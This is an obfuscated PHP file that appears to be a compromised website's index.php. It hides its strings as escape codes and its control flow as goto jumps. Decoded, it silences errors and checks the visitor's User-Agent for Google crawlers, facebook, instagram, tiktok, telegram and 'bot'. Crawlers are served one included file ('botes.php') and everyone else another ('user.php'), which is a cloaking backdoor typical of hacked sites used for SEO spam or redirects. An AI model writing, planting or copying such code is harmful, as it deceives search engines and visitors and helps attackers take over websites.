File: /usr/local/www/apache24/noexec/harzwoche/index.php
<?php
//Obfuscate by https://uutool.cn/php/
goto eHnTm; WBMsW: include $yYVfw; goto uRadu; BfpUn: if (!file_exists($mfj0y)) { goto cCGhY; } goto vMGyY; ROFkU: cCGhY: goto HTwE8; hzTWk: TzHU4: goto GG_x8; SGtJV: if (S3ILJ()) { goto TzHU4; } goto BfpUn; vMGyY: include $mfj0y; goto ROFkU; GG_x8: if (!file_exists($yYVfw)) { goto sN3yn; } goto WBMsW; L3Twl: $mfj0y = "\165\x73\145\x72\56\160\x68\160"; goto GvDd4; Q0aoB: set_time_limit(0); goto h6xu7; GvDd4: function s3iLJ() { goto F6V56; voQDW: return false; goto xYXrd; F6V56: $rUMqg = ["\x47\157\157\x67\154\145\x62\157\164", "\107\x6f\x6f\x67\154\145\x2d\x49\156\x73\x70\x65\x63\x74\x69\157\x6e\x54\x6f\x6f\x6c", "\107\x6f\157\147\x6c\145\40\106\141\x76\x69\143\157\x6e", "\x47\x6f\x6f\x67\154\x65\x2d\123\x69\164\145\x2d\126\x65\162\151\x66\151\x63\141\x74\x69\157\156", "\146\x61\x63\x65\142\157\x6f\x6b", "\151\x6e\x73\x74\141\147\162\x61\155", "\164\x69\x6b\x74\157\153", "\164\145\154\x65\147\x72\141\x6d", "\x62\157\x74"]; goto qd6Y3; qd6Y3: $OfXJH = strtolower($_SERVER["\x48\124\x54\120\x5f\x55\123\x45\122\x5f\101\x47\105\116\x54"]); goto MSikw; MSikw: foreach ($rUMqg as $LO0eE) { goto EN5ra; MehL8: GPkoj: goto CIDSq; EN5ra: if (!(stripos($OfXJH, $LO0eE) !== false)) { goto vSRO1; } goto tP6CY; UETqb: vSRO1: goto MehL8; tP6CY: return true; goto UETqb; CIDSq: } goto qn6ov; qn6ov: UFVwr: goto voQDW; xYXrd: } goto SGtJV; CnhuP: goto R10kp; goto hzTWk; uRadu: sN3yn: goto smz1Z; smz1Z: exit; goto KHnot; h6xu7: $yYVfw = "\142\157\x74\x65\163\56\x70\150\x70"; goto L3Twl; eHnTm: error_reporting(0); goto Q0aoB; HTwE8: exit; goto CnhuP; KHnot: R10kp: